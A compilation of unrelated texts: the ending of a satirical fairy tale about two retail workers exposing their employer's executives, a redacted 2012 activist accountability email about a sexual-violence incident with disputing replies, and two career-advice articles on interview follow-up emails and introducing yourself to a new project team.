But in the first place, that would mean making a phone call, such a dreadful prospect that it hardly seemed worth it. As both Rachel and Kayla were masters of oversharing, they thought that it would be a simpler exercise to just face the assistants. So they went on, and at last they came to the first assistant. The assistant had a strange desk, with a wide cubicle around it, which took up the entire hallway. There was no clear gate in or out or through, and the assistant did not even look up as Rachel and Kayla approached.
So there was nothing to do but try to take the advice they'd received. Rachel tried first. "Hello. I would very much like a better job."
It was certainly true, but the assistant did not reply. They just kept typing. It appeared to be the same sequence of keys over and over again. Kayla peeked over the cubicle wall with a frown, but soon stepped back and shook her head. She could read nothing from the computer, and the pair would find no clues that way.
Next, Rachel tried, "I would like to afford a month’s rent, and food, as well."
But the assistant remained silent, and Rachel had to admit, it sounded extravagant.
So in the end, all she could think to say was,, "I would love it if I could afford therapy."
But still, they did not even twitch. It seemed that nothing Rachel said or did would work. Finally, she sighed and declared, "I am too tired for this."
As soon as she said this, a panel in the cubicle slid up, and there was a new gap in the surface of the desk, between the drawer and where the computer rested. The assistant moved their chair toward the edge of the arrangement, and said, "Very well, go on. I've got work to do."
The two women looked down the hallway, then at each other, and at last they went on together. Then when they came to the next assistant, Kayla thought for a moment, and said, "I am too autistic for this."
This time, the cubicle parted at once for them. The second assistant only sighed and nodded them through, and Rachel and Kayla kept going. When they came to the last assistant, they spoke together the most powerful truth they could imagine: "We are way too gay for this."
So the last cubicle made way for them, and the last assistant waved them along.
Beyond was a proper office, where they met the Executive Assistant at last. Rachel introduced herself as an employee with a complaint, and spoke to the Executive Assistant about setting up a meeting. When the Executive Assistant asked when Rachel would like this meeting to be, she answered politely, "As soon as possible, if you please. Today, perhaps."
Rachel received a cross look, but was told that she could wait, if she liked to. The Executive Assistant would schedule her, but if she really had a complaint, then she ought to speak to someone in HR first. Rachel would not, in fact, have liked to do any of this very much, but she would take the chance anyhow. Then as she turned to go, Kayla caught her, and said, "This is where we really begin."
So they went up a floor, and spoke to someone in HR. Rachel asked who she was speaking with, and they said, "Oh, I'm Someone. You know, of course, that when you have a complaint you must go to Someone in HR. That's me."
So Rachel addressed them. "Alright. I'm here to make a complaint."
"Alright," Someone said, "What about?"
"Well, you see, I was written up for something, when I did nothing wrong. I only defended myself against harassment!"
Someone asked, "Can you prove that they were harassing you?"
Rachel threw up her hands, and snapped, "Check the tapes by the registers, then you'll see!"
"We'll need to put in a request to look at them," said Someone. "But if you'd like to go ahead and do that, then you can sign here."
They offered Rachel some paperwork, and she read it over. Kayla asked casually, "So is it normal for employees to have to go through all this trouble, just to make a complaint?"
Someone replied, "Of course."
Kayla leaned over the table. "And what if she just wanted to seek other legal help, to speed this process along?"
Someone said, "She gave up her right to that when she became employed. I expect she ought to have been more careful."
Rachel signed the paper, and set down the pen. "I ought to have been more careful? How? By being less friendly, and getting a complaint against me that way? Or should I have turned down the job in the first place, and been evicted?"
"It's your job. You should know how to do it," Someone said.
Rachel replied, "It might help, then, if you really understood how to do it, too!"
But it was clear that Someone from HR didn't know anything about that, and only knew what they'd been told about policy. So when Rachel saw that they would not get any further, she and Kayla left.
But after they were gone, Kayla held up her phone and said, "I recorded that. Now there's only one more thing we need, and then we can set about destroying these executives."
"Oh! How wonderful!" Rachel exclaimed. Kayla emailed the recording to Rachel, so that they would be ready. Then the two women clasped hands joyously, thinking of how close they were to success.
Kayla explained that, for what they would need to do, they next needed something from accounting.
"We must have the numbers," said Kayla. "The numbers show the truth of their hoard - how vast and purposeless it is in their hands."
So they went on to the accounting department. To get access required clearance, but Rachel had an old sandwich bag, and stuffed her sweater into it. She was "delivering lunch," and Kayla was escorting her. Then they had to find what they wanted on the computer. When the people in accounting went off to lunch themselves, Rachel and Kayla snuck into the room and asked the computer to show them what they wanted. But it told them it could not.
Rachel asked, "What, do we need a password?"
The computer replied, "Yes! And I know you tricked your way in here, so I won't tell. It's not as if the information would do you any good, anyway. You'll have to find it yourselves."
Rachel and Kayla looked at each other, and decided at once not to argue. So Kayla began to type furiously, and soon enough, she was in. They had the information they needed.
Finally, they went back to the executive assistant's office. She told them, "There you are! I was just about to call you. The CEO and his companions are ready for you. Go at once, do not make them wait."
And she glared at Rachel and Kayla as they hurried inside. When they got there, all the men were assembled wearing suits and lemonlike dispositions. Rachel prepared to speak, but before she could, the leader of the awful band himself, the CEO, demanded, "Now, what is the matter with kids today? Do you think you're entitled to these jobs?"
Rachel told him, "No, but everyone is entitled to food and shelter - I won't be ashamed of that. And we shouldn't have to let anyone bully us or belittle us for anything, but especially not in order to eat."
Kayla told him, "And you call us kids, but we aren't allowed to be children or adults! You refuse to acknowledge us either way. If we were kids, someone should take care of us, but if we were adults, we'd need the means to take care of ourselves."
Another executive replied, "And we're giving that to you - paying you for work that's hardly work at all. All you need is to respect the customer, but apparently, that's too much. Your generation got trophies for everything, that’s the problem. Now, you just expect something for nothing."
But Rachel and Kayla were not about to be talked over. Rachel snapped, "I’d rather have a living wage now, than any number of trophies! If they want respect, then they shouldn’t yell at us over a dollar coupon, and you shouldn't let them do it! We're meant to work for you!"
Kayla shook her head, and said, "If you're truly so ignorant of your cruelty, then it's worse than I thought."
The women found it amazing how entitled these men were - thinking that they had a right to other people's labor, to the well-being and purpose of countless strangers.
So Rachel and Kayla told the executives together that they weren't having it anymore, and that they were going to put an end to the company's wicked ways. When the CEO laughed, and asked how, Kayla held up her phone. The bright screen showed the files from accounting.
Kayla said, "These numbers show how much money you make and how, and we have a recording which shows how you treat your employees. We'll share them with the world, so that everyone can know the extent of your wrongdoings."
And here was a problem that Kayla had faced before: up in the office, it was difficult to get reception. This made little things, like checking one's social notifications or personal email, quite difficult. But it had also meant that she couldn't finish this quest alone.
However, she held out a hand to Rachel, who offered her phone, instead. Because of the elderly person's kindness, Rachel had perfect reception, and at last Kayla was able to get the information out quickly.
Soon one article appeared, and then another. The company's deeds were exposed; they didn't pay their employees enough, and they treated them worse yet. They acquired goods unfairly and left families unable to care for themselves, then acted like forcing cashiers to ask for donations was enough to pay their due.
The people shared this information far and wide, causing a great outcry. Now, this wouldn't have been enough to destroy the executives alone, as we know all too well. But in that one moment where the world looked on and despised these men, they were forced to reveal their true, evil nature.
Rachel and Kayla had to act quickly, because soon enough the internet's attention would falter and the glamour would return - but when they looked, they still only saw old, white men in suits.
Rachel thought about what she saw. The CEO and his companions frequently devoured people - took all that they were and didn't even spit out the bones. In this way, the executives were far more like beasts than wolves, giants, or old women in pointed hats. She thought about destroying them just the same. So she said, "Enough! May you work one retail shift under your own rules for each life you've ruined, for lack of a living wage!"
And it worked, so the executives must have been beasts after all. They disappeared instantly, banished to convenient locations across the land. Thus at last were all the employees freed, and Rachel and Kayla were so elated that they embraced and kissed each other.
"Well, then, what should we do now?" Kayla asked.
"I think we should go and fix what they've broken." Rachel replied.
So they went back to the accounting department, and they asked the computer for help. This time, it agreed at once, for they had done far better than it had thought anyone could. They were able to redistribute the money to the various employees of the company who had helped earn it, so that these people could live in more comfort than they had ever been able to do through their work. Then Rachel and Kayla returned to HR, and rewrote the policies so that everyone would have to remember that retail employees were people.
The young women did, of course, take some of the money for themselves. For their own food and shelter, and, as part of the celebration of their victory, an extremely joyous wedding - one might even say it was very gay. Furthermore, Kayla went on to find work in her field, where she did not have to dread getting up in the morning. And when Rachel went back to her job, it now paid enough that she could finish school, too, rather than trapping her.
And she saw that their efforts had at last meant something. For once again, that customer tried to stay after close. But this time, all it took was a word to banish them from the shop, and when they saw fit to complain about the service, Rachel was able to tell them, "I'm sorry, but we close at midnight. All of us here need to go home and rest, and if you don't like it, you're free to shop somewhere else. We won't miss you."
Then she went home to her wife, and they kissed and had a late supper that they made together.
And this wasn't so long ago, so I'm sure they're still alive today.
The end.
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This was the first email sent by the accountability panel on 25.04.2012. The names of the survivor and the accountability panel have been redacted out of respect.
Hello all,
*Please do not put the contents of this email, or debate its contents, on the Facebook group – recent information from there has found its way onto right-wing internetblogs and cannot be trusted. Please forward however to all trustworthy comrades*
A lot of issues have come up in activist groups in London recently, not least our own, to do with sexual violence.
Several of us have talked informally and feel the way the HR situation has been dealt with by our group has so far exposed a lot of weaknesses in the way we handle these incidents, and anticipate their occurring in future. It has not been addressed openly, rumours have been allowed to spread without anyone contacting Edinburgh to find out exactly what happened, we have arranged no process of accountability or education, and it has generally been allowed to fade into an uneasy background where it is more convenient to ignore than resolve.
This email is to clarify what the situation is, and make some initial proposals about how we properly deal with sexual violence in our community.
1. Our Statement
2. REDACTED’s account of what happened
3. Course of action agreed with REDACTED
4. What HR has said
5. Problems with how this has been dealt with
6. What Now
7. Note on process
1. Our statement
We condemn HR’s actions and behaviour and believe that without serious work and significant change he should not be welcome to participate as a member of our network or in any of our events. Sexual violence and other forms of abuse are not acceptable and we must not facilitate the continuation of abuse by allowing aggressors to participate in our communities. At the same time our view is that to simply ostracise someone without offering any positive goals fails to deal with the problem; simply pushing it onto other people in another community.
It is critical that what we do is based on the needs and desires of those who have been, or are likely to be, affected by HR’s actions and the response to them. What happened did not emerge from a vacuum. Several women have described times he has crossed their boundaries, or made them feel intimidated. These points are based on conversations had with REDACTED and various other women who know HR.
This isn’t just important for the specific situation at hand - we need to be a community of mutual solidarity and support, where survivors know they will be believed and supported, and any oppressive behaviour is called out and recognised for what is, not laughed off or tolerated because of someone’s status or charisma.
2. REDACTED’s account of what happened.
REDACTED
3. Course of action agreed with REDACTED
· As many people within our activist and friendship groups should know what happened
· HR is excluded from social + political spaces within our group until such a time that everyone is confident HR has rehabilitated himself. This includes addressing how he treats others and understanding the impact his actions have and have had on others. Part of this would be him attending therapy for a lengthy period of time. No one should feel under pressure to allow HR to be near them at any point if they feel uncomfortable with that.
4. What HR has said.
· Accepts his behaviour was stupid and inconsiderate, although he maintains it was without malice.
· Doesn’t reject the idea that this incident didn’t emerge from a vacuum, and is open to being challenged (with REDACTED [member of accountability panel] or otherwise as a mediator if the person prefers) about past behaviour that has made women (or others) feel threatened by him.
· That his reaction (not apologising, not accepting that he’d done something wrong or understanding REDACTED perspective, downplaying what took place) to this particular incident was extremely poor.
· Wants to engage in any process by which he can move on and be considered part of the community again, and accepts this will involve commitment to a proper process.
5. Problems with how this has been dealt with
· Very few people even knew this had happened until very late on. When we’re dealing with people who are potential threats to others, this is completely negligent.
· Nobody contacted anyone in Edinburgh to clarify what happened and what REDACTED wanted, or what Edinburgh activists have decided. This meant we’ve potentially been undermining both her and our Northern comrades.
· Damaging rumours misrepresenting what took place have proliferated unchallenged. This will make it easier for people to dismiss the problems and prevents us from actually addressing it properly.
· It has been allowed to stagnate, with no group accountability, and no attempt to establish a process which will protect people in our group and others in future.
· Other radical communities in London have faced similar issues in recent months and without any framework in place, threatening people can be challenged in one group only to move to another and begin all over again with impunity.
· There’s not been any discussion about the wider context in which this has taken place.
6. What now.
· Our initial proposal is we hold a meeting amongst our group, after the Easter holidays, to talk about what has happened and what should be done about it. Other radical communities have come up with processes for dealing with sexual violence – some of which are attached at the bottom of the email. The meeting will take place at
· That this form the backdrop to a series of workshops centred around marginalisation, accountability, safe spaces, sexism (and the many other identity-based oppressions) and sexual violence in radical communities. This will be a forum for the time and discussion required to improve our collective education of these issues and construct frameworks to deal with them better in future.
7. Note on process
· REDACTED has been in touch with REDACTED to find out what happened and her wishes. REDACTED has spoken to HR to hear his account.
· REDACTED has seen this statement and agreed to its content. We have also met in person to clarify key issues going forward. REDACTED’s statement about what happened is her own.
· ‘What HR wants’ has been double-checked with HR to avoid misrepresentation.
· REDACTED no longer wants to deal with this personally, but we have been given contact details for someone on her behalf in Edinburgh to keep her in the loop.
· Attached are resources from radical communities who have dealt with similar issues in the past, as well as literature about consent.
· Please do not reply to this email; if you have any suggestions or questions about process, email one of us individually.
In solidarity,
REDACTED, REDACTED, REDACTED, REDACTED, REDACTED [members of accountability panel].
The emails that immediately followed the initial statement:
REDACTED: Please don’t include me in a group email of this nature and then tell me not reply to it.
REDACTED: Likewise.
REDACTED: I need to know who to speak to, also, about HR and New York- he’s been here for the past couple of weeks and is I think planning to come back long term for the summer. Rumours and problems have followed him over here, and I don’t know what my responsibilities are in this situation, to inform or otherwise, if I have any. I will forward this email on to trusted comrades on this side.
I’ll also email REDACTED and REDACTED and REDACTED and REDACTED [members of accountability panel] with more of this; I’m afraid I do not trust REDACTED [another member of accountability panel] not to forward anything I say to the press. I know that the history of my relationship to HR is one of the many things that has been fed to the right wing hatesphere by persons unknown in the movement and I’m still very upset about that.
REDACTED [member of accountability panel]: Hey everyone,
1) I know it’s frustrating, I’m sorry - we thought hard about asking people not to respond, and decided to do so because we really want the discussion face to face to happen, and to happen well. That should be the forum for responding to this, especially because we all know how messy online discussions get, and that it’s basically always the loudest voices that get heard - and in this issue it’s particularly important that this doesn’t happen. If anyone, like REDACTED, can’t make it on Saturday, please contact one of us individually (people who wrote this email) or someone else you know is going to be coming, to make the points you want to make on your behalf. You could write something to be read out. Also filling up peoples’ inboxes is a surefire way to switch people off.
2) Huge, huge apologies - this message should have had a warning at the beginning that the contents are graphic and could be triggering. If you are forwarding this on to someone, please include such a warning at the top. Sorry for forgetting such an important thing.
Thanks! x
REDACTED: Surely only the loudest voices are being heard now? But its just there is a structure that legitimates that?
best, REDACTED
REDACTED [member of accountability panel]: I’ve responded to this off list for the aforementioned reasons, if anyone really wants to see my response, please email me individually and I’ll fwd it to you! sorry for spamming people x
REDACTED: Hey all,
I have some serious concerns about this email and its process. Having spoken to some people already I feel I’m not alone in this.
Given these concerns, I feel that the original email really should not be forwarded on to other people before the discussion on Saturday. Perhaps people who have forwarded the email could forward this as well.
The email response sent from B10 on 28.04.2012
All,
So having thought and discussed with lots of people over the past day or two this group email list seems to be, in spite of the request not to respond to it, the most appropriate place to say something before Saturday’s meeting. We think its important to speak up now as things seems to be spiraling quite rapidly, which was probably inevitable. We want to say that we absolutely and emphatically reject the legitimacy of this process.
Given that the consequences of this process are so serious and that the effects of its power are already becoming real, in the form of total exclusion, we feel compelled to disrupt the attempts to formalise, amplify and make viral that power and its judgement.
The accountability panel were unappointed or self appointed. Furthermore, their process was secretive and not open to the ‘community’. The accountability panel act as both Judge and Jury. The email reads as a court transcription and judgement. It builds a case. Claiming to be a suggestion, the email arrived in our inboxes fully formed. Their process points that were offered to us are mere action points.
The lack of openness and impossibility of dissent within the process of the accountability panel has its correlate in the email. The email that was sent to us on Wednesday was a performative document that enacts what it claims to develop. The email is designed and encouraged to go viral with no ‘right of reply’ or process to actually develop it before that inevitably happens. The email sets up a realm of victim-led justice, but no questioning of what values inform the punishment is allowed. These need to be explored openly. The email implies that there is an inside and outside. Anything but silence puts you outside of the process. The implications of this have already been acted out, through some of those who have questioned the process being shamed as rape apologists.
The email was written in a language of “our community”, of “we”, which deliberately masked the equivocation between their small panel and everyone that reads the statement. It therefore acts as a form of coercion, nullifying consent. This was confirmed in the command: ‘Do not write back to this list’. As such we have concerns that the accountability group is vanguardist, authoritarian, and appropriates its legitimacy from the recipients of the email by perpetrating violence against the community. They gain power by making decisions, while not taking responsibility for the ramifications their actions as a panel. The point of the accountability panel was supposedly to get above rumours, yet in its deceit and inherent structure the email has actually exacerbated the generation of rumours.
Furthermore, we are also concerned that the people involved in the panel have not been in any way reflective about their own relationships with REDACTED and HR, or at least have not addressed these relationships in their email. Meanwhile, the email presumed, and gave as one of its justifications, that this incident has not been dealt with, yet there have already been a range of personal and collective responses. By stating that the issue had not been dealt with at all, the email pretends as if any informal processes which were occurring did not occur, including the informal process which led to the construction of the panel itself.
Through the statement, everything is flattened out and made abstract. HR is made into a concept, a type. By using types and set narratives the statement prevents inquiry of the singularity of the case, which is totally necessary if we are going to address these problems in any serious way. We have spoken to HR, and are aware that the panel did not offer him an opportunity to directly make a statement in the email, but instead summarised words from a private phone conversation and email exchange, a summary which fits into a narrative the panel has offered. We have also been told, by one member of the panel, that there were conversations about BDSM and knife-play between REDACTED and HR prior to the incident, a detail which has been omitted despite this one member of the panel (at least) having been made aware of this by REDACTED. We do not want to present evidence to produce a different judgement on ‘the case’. Our priority is to question the power of the panel, and make it clear that omissions have occurred. We say this because we fear that HR is being excluded from this ‘community’ without anyone trying to stand in the way of a sham court which has side-stepped the truth not to produce justice, but in order to produce judges.
It is critical that we acknowledge the regressive nature of the operations which have been set up by this email, and disrupt them immediately. This does not mean failing to address what HR did. Rather, it means that we have to do away with summary justice, and with the ability of a small group to enact punishment.
Indeed, we ought to acknowledge that this process of exclusion and the processes of homogenising the group are actually repressive with regard to the reflection on and challenging of the myriad modes of violence, power-play and threats which are structural to our society, and from which our groups are not exempt.
We are aware that many people have felt silenced by this process. We hope that our response will enable others to speak about what happened and what is to happen.
Given what’s already happened to those who have criticised this process, and the potential for such things to go viral, we’re reluctant to sign our names here. Some of us will be at the meeting on Saturday.
10 people in Bloomsbury.
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How to Write a Follow-Up Email After Interview
Phew! All of your panic and anxiety are over. You have just finished your job interview and you can let out a big sigh of relief! But don’t get all too cozy just yet. There’s one more ordeal you have to follow-through to cement the good impression you’ve made — send a follow-up email after the interview.
Why Interview Follow up Emails Are a Big Deal?
The small gesture of sending a quick thank you email after an interview can make a major difference in your odds of getting a callback.
There are several very clear reasons why you should always follow-up your interviews:
You show appreciation and re-confirm your eagerness to join the team.
Follow-up emails allow you to provide some extra information or share something you forgot to mention during your interview.
You can get closure and some extra peace of mind by asking the recruiter about your performance.
Lastly, you provide the HR with a quick reminder on your status — something the busy folks will always appreciate.
And no, sending a follow-up email after an interview does not make you look like a pest. On the contrary, it’s a courtesy most employers will genuinely appreciate!
When To Follow-Up After an Interview
This may be a bit of a bummer, but — there’s really no right or wrong timing. You’ll have to go in with your guts to decide when it’s the best time to follow-up on your interview.
But we do have several pointers that should help you zoom in on the right timing:
Sending a thank-you email can be done the same/next day the interview. In fact, 80% of HRs say they take thank-you notes into account when making hiring decisions. The same goes for a follow-up email after phone interviews. Keep both short and sweet. Recap the matters you’ve discussed, reconfirm your interest, and thank the interviewer for their time.
Go with the employer timeline. Most HRs will be the first to tell you when you can expect their decision. If you heard crickets from them within that time, take it as a sign to follow-up.
If else, send the first follow-up in two weeks after the interview — usually, that’s a good timeline for larger companies to make their decision.
With all the whys and whens out of the way, let’s move to the more exciting part of actually writing a kicker follow-up email.
How to Write a Follow-Up Email After Interview (Sample Emails)
So you already know that you can send several types of interview follow-up emails — a thank-you email and a general follow-up email. On top of that, you can follow-up to accomplish several different things:
Reconfirm your eagerness
Politely request an update
Bring up new information
Address some issue during the interview
Our team lined up several after-interview follow up email templates for all of these occasions. But before you swipe those, let’s recap some quick best practices of email etiquette:
Always set a positive tone with your email. Try to reinforce the reasons why you believe you are a good fit for the role on offer.
Keep your email short and on-point. Get to your purpose quickly and include a clear call-to-action in the end aka something you want the other party to do next (e.g. provide you with an update).
Include any valuable information that you didn’t get the time to pass on to your interviewer. You may have run out of time and failed to mention an example of where you demonstrated your skills as a team leader or how you devised a new workplace procedure that helped to improve productivity levels by 20%.
Clarify and answer any interview questions that you felt you didn’t answer very well. Interviewers know that job candidates get nervous during their interviews, so will understand if you occasionally stumble over an answer.
Sample Thank You Email After Interview
While as much as 80% of HRs value receiving a thank you email post-interview, only 24% of candidates actually go about sending one, according to the above-mentioned survey.
It’s a shame because thank you notes are easy-to-write and delightful-to-send. Plus, doing so helps to keep your interview fresh in the minds of the employer. Your email, popping up in their inbox, can act as a powerful memory jolt after a few days of back-to-back interviews.
This may be obvious, but it’s best to be stated: send a thank you email to the person you’ve had an interview with and the recruiter who set you up. If you forgot to make a note of the name of your interviewer on the day, you could look them up on the company website and find their contact email. CC both email addresses.
Now comes your letter:
Subject line: Re: Interview on Thursday 12th at 10 AM
Or
Subject line: Thank you for my interview on 12th September
[HR Name],
I’d like to thank you for organizing the interview for me on 12th September for the position of (insert the job title here). Meeting you in-person was absolutely delightful and I appreciated the intro you gave about the company.
[Interviewer name, if different], it was very pleasant to meet you too. I hope that you found our conversation as productive as I did.
Please do not hesitate to contact me if you need any further information from me.
[Your Name]
Sending a straight-forward thank you message such as this and finishing off your email with an open offer for them to contact you for more information will show the employer that following your interview you are still interested in the job. It also keeps the lines of communication open between you and the employer.
Second Follow Up Email After Interview
After you’ve dispatched your thank you note, mark your calendar for the next interview follow up email — a more substantial reminder that could reinforce and support your job application.
A second follow up email after an interview can be a great avenue for resolving any issues you may have or merely ask about the status of your application.
Here are several samples you can use, depending on the occasion.
General Follow Up Email To Send in One or Two Weeks After the Interview
Let’s look at a sample email that you can tweak to match your case. This is a straightforward template that you can use where you felt everything went OK during your interview.
Use your follow-up as an opportunity to present any extra information that you feel is crucial to your recruitment chances:
Hello [Name],
I am following up concerning my job interview on (date and time) for the position of (job title). Please could you update me with your progress and let me know if there is any more information that you would like me to supply in support of my application?
Since we last spoke, I have also started looking into [software X] that your company is using for customer support and already completed an Intro training module.
Anyhow, I would like to confirm that I am still interested in the position and look forward to hearing back from you.
Once again – thank you for your time and consideration of me for this position with your company.
[Your Name]
Sample Follow Up Email Addressing an Interview Issue
If you feel that you didn’t give the best answer to some interview questions or suddenly remembered another interesting data bit, use your follow-up email to bring this up.
Hello [Name],
I hope everything is well at your end. I just wanted to follow-up on the status of my application for [job title].
Also, I remembered that during our interview on [date], you’ve asked me about how I was dealing with [some common problem] in my current role. Recently, I tried [an idea or solution], and it [created a positive outcome, backed by data].
Perhaps this is something we can also discuss during the next interview?
[Your Name]
Pro tip: Send your email as a reply to an already established email thread that you have with the employer. This means that you stand a better chance of getting your email opened quickly as it looks like a continuation of an established conversation rather than a brand new one.
Sample Follow Up Email Requesting an Update
Lastly, if a potential employer didn’t follow-through on their promise to update you on your interview within the pre-agreed timeline, it’s your sacred duty to follow-up. First of all, everyone deserves closure and you can get one. Secondly, things can often fall through the cracks and the busy HR may have just forgotten to update you on time. So if your goal is to politely nudge the other party, try this template:
Hello [Name],
Haven’t heard from you since our last interview on [date] for [job position]. I don’t want to rush your decision-making, but wanted to check-in if you have any updates regarding my application?
I’m still very much interested in working at [Company name] and feel confident that I could be a great asset to the team.
Look forward to an update from you.
[Name]
Writing Winning Follow-Up Emails isn’t Rocket Science
The whole purpose of sending a follow-up email after your job interview is to emphasize your value to the employer and prompt them to update you with their decision. It’s a simple step many job candidates fail to make. So don’t be among those!
You now have the tips and templates for writing on-point and impactful follow-up emails for different scenarios!
This article has been originally published on March 11, 2019 and has been extensively revised and updated on September 8, 2020.
The post How to Write a Follow-Up Email After Interview appeared first on Freesumes.com.
How to Write a Follow-Up Email After Interview published first on https://skillsireweb.tumblr.com/
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How to Introduce Yourself on a New Project (Team and Clients)
So today I want to give you a step by step guide on how to introduce yourself to a new project team. The secret is simple: Someone gives credit to your management skills. You position yourself as a leader. [embedded content] Let’s break it down! Imagine you come to a new company and the new project. Someone shows you the room where your team is located. You get in and ask: “May I have your attention please?” Then several minutes they get together to listen to you. You give your boring speech that no one cares about and no one remembers what you talked about. [Check this article later: How to Make Your Team Honor Their Commitments] So we’re going to change it right now! But first I need to tell you about the sources of power or sources of authority that you have. Sources of Power of a Project Manager By default, your title of a project manager, even the junior project manager, gives you the Formal Power But you should never use it! You also have power and authority that comes from your ability to Reward and Penalize people and from your Expert Knowledge. But from day one, no one knows that you have this. That’s why to get your initial authority in a new team, you need to tap into the Referral Source of Power. How to Gain Referral Power in a New Team In essence, it means someone needs to introduce you and give credit to your experience and your knowledge. Ideally, it should be your boss or someone from leadership. But you can ask a project manager that you substitute on this project or a project manager who interviewed you as well. If no one is available from these people, do ask the recruiters or HR guys to help you out here. And here’s the magic of this approach: When someone introduces you, it doesn’t sound like you brag about yourself about your achievements and certifications. Someone gives credit to your skills, knowledge, and experience, and that’s great. And here’s all they need to tell: “Hey, Team, here’s Peter. He is a project manager and a great leader. He is a certified PMP and his five years of experience in our field. I hope you’ll like him as much as we did in the interviews.” Did notice it’s just three sentences that cover everything that your team needs to know about you as the introduction from your leadership. And believe me: If you overcome your fear of asking your leadership about such kinds of introductions, you’ll be able to build a rapport with your new team ten times faster. Script: How to Introduce Yourself on a New Project And the right after this short introduction, it’s your time to speak. You need to prepare your speech in advance! Thinking about what to tell a new team on the fly is a bad idea because you have only one chance to make your first impression. Moreover, there’s one piece of information that you need to learn about in advance before you get into the room with your project team. You need to ask about some history of the project. Learn about one or two achievements of these teams so that you can use it in your speech. So now you are ready to prepare your speech for the new team. I’ve got you covered here because right now I’ll give you a step by step formula to create a brief and powerful introduction to a new team. What You Need to Say First in You Introduction So here’s what you need to keep in mind: Your boss or your leadership will introduce you from a professional standpoint as a project manager. You want to position yourself as a leader of this team. Your new team doesn’t need a new manager who will take the glory for their work. They need a leader who understands them and who will make their life easier. And first of all, you say: “Hello, I’m Dmytro, I am your new project manager BUT…” But keep in mind you don’t want to use your formal authority from the start! And with this “but”, you remove this formal part and continue to position yourself as a leader. And you can say something like: “…BUT I like to think of myself as a part of the team who helps you to do your best job. I am here to remove all the distractions and help you to apply your best expertise. People like you don’t need a manager, you just need some guidance with processes and workflows.” Follow Up With Your Key Leadership Principles You can add two or three points here. For example, you may say something like: “I believe in eight hours workday and my priority would be to ensure that your personal life will not suffer from my professional decisions.” I recommend you to highlight your key leadership principles here. It should be something that you strongly believe in and something that you will be able to implement in real life. Next, Give a Praise to the Team In the next point of your speech, you need to give praise to your new team. That’s something that you learn in advance. You can say something as simple as: “I heard you did a great job for two years before me, so you know what to do. You are the experts here.” Ensure That You Will Not Make Dramatic Changes And the next step is to ensure that there won’t be any dramatic or unexpected changes to the way they work on this project. And you can say something like: “I will need your support for the first few weeks and then we’ll work together to make this project the best one in the company.” Wrap Your Speech, Keep it Short And after that, you want to start wrapping up your speech and say something like: “I want to speak personally with every one of you.” And believe me, if your team is under 50 persons, it’s still feasible to do in one or two days. I strongly recommend you to do this because it’s the most powerful thing that I discovered in the latest years. I’ll show you how it works below. Make Yourself Available for Conversation The last thing you need to do is to show them: “Here is my place. I’ll be sitting here. You can come up with any problem that you have. I’m open for any discussion.” That’s the format for your speech, and you need to prepare it in advance. 6 Tips on How to Prepare Yourself for Introduction to a New Team You need to prepare yourself for this speech. Let me give you a few tips on how to do it. 1. Be Confident, Do Some Training in Advance It goes without saying that you need to position yourself as a confident leader and to do this speech confidently, you need to train yourself. So give this speech to yourself in the mirror and see if you are confident about telling each point of it. 2. Speak Loud Enough Next, you need to ensure that you speak not too loud, not too quiet. You should be loud enough so that everyone in the room can hear you. 3. Wave Your Hands to Greet Everyone Next, when you start your speech and introduce yourself, you need to wave with your both hands like these to the whole team: Yes, it looks silly. But it works. Yes, it looks a bit silly. But believe me, on a subconscious level, people will trust and hear you out better then you will put your hand somewhere in the pockets. 4. Use Gestures to Reinforce Your Speech You need to use your hands to gesture when you introduce yourself. You can do some gestures like the whole team, duration, big, small projects and so on. So do use your hands. 5. Smile Broadly Do smile. Don’t forget to smile at least at the beginning, and the end. You need to smile with your all teeth, like this: Show them all your teeth! 6. Maintain Eye Contact With the Whole Team Last but not least, you should maintain eye contact with your team. How do you do it if you have 20 persons in the room? You give a bit of attention to everyone. Stay focused with your eye contact with one person for three to five seconds. Then switch to another. While you stand there in the room, do switch your eye contact with each person. If you want to know more about how to make the best first impression possible and how to win people in general, I recommend the book named Captivate by Vanessa van Edwards. PRO Technique: Personal Introduction to a New Team Now we’ll talk about this powerful Technique of the Individual Introduction to your team members. After that, I will tell you how to introduce yourself to the stakeholders of the project and to the clients of the project. Biggest Mistake to Avoid During First Few Days on a New Project There is one mistake that many project managers do on a new project during their first few days: They focus too much on the processes, state of the project, and the communication that they need to review. They don’t focus on people. You want to position yourself as a leader. That’s why I recommend you to spend these first few days with your new team members by asking them three simple questions. It takes five to seven minutes per person maximum. So here’s what you want to ask: What do you do on the project? What do you like about the project? And what don’t you like about this project, and is there a way I can fix it? The first two questions will help you to learn more about your new team members. The last one will help you to gain a quick win in the coming weeks. Here’s the trick: The majority of your new team members won’t have any serious problems and you will be able to fix some of them in the coming weeks. This way you will show that you care about them, that you are proactive, that you can solve problems for them and that you are part of the team. Likewise, this short conversation will open up and give you an opportunity to communicate more with these people. Maybe during a coffee break, you can ask more personal questions to learn more about your team members. How to Introduce Yourself to Other Project Stakeholders How to introduce yourself to people that were not in the room here. And the process here is similar: You need to ask your boss to send an email and introduce you as a project manager. Then, you will follow up with your email where you will introduce yourself from the perspective of a leader. If these stakeholders are collocated in one office, you DO WANT to meet them in person. But you again want to ask someone to introduce you to these people. On this personal meeting, you ask the same three questions: What do they do on the project? What do they like about the project? What are the main challenges that they see from their perspective in regards to this project that you should be aware of? Note it down! It’s crucial information about your project. Okay, let’s move on. How to Introduce Yourself to Clients and Sponsors of the Project How do you introduce yourself to clients and sponsors of your projects, as well as to other main stakeholders? Again, the process is similar: Someone needs to introduce you first, then you follow up with your personal introduction. I do recommend that you do it in person if possible. If they are overseas for sure do make a video call. Let them see you and your expressions and watch for their expressions. It will make better contact. However, what you say to them after your introduction is a bit different from what you say to your team members. You need to focus on business aspects that these clients value the most. 👇 Do they need more transparency from the project work? Do they want more efficiency and save some money? Do they want some extra value that your team can provide? And second, do ask about the challenges that you can fix right now If they have no challenges and they say nothing about it – do ensure them that you will put your most efforts in delivering projects for them on time and within budget. You need to spell it out!👆 Last but not least. Plan Regular Meetings With New Clients Right after Introduction I do recommend you plan regular meetings with your clients and sponsors in the future. You need to do it right at the first meeting. During this initial period, you want to control the expectation and perception of your work on a daily basis. If possible, do communicate with them for a few minutes every day. If not at least several times a week. Don’t leave it all for email communications where you don’t see their emotions and expressions. Introduction to a new project team shouldn’t be scary or complex. Just follow these process and you will build great relationships with your team from day number one. I Recommend to Read Next
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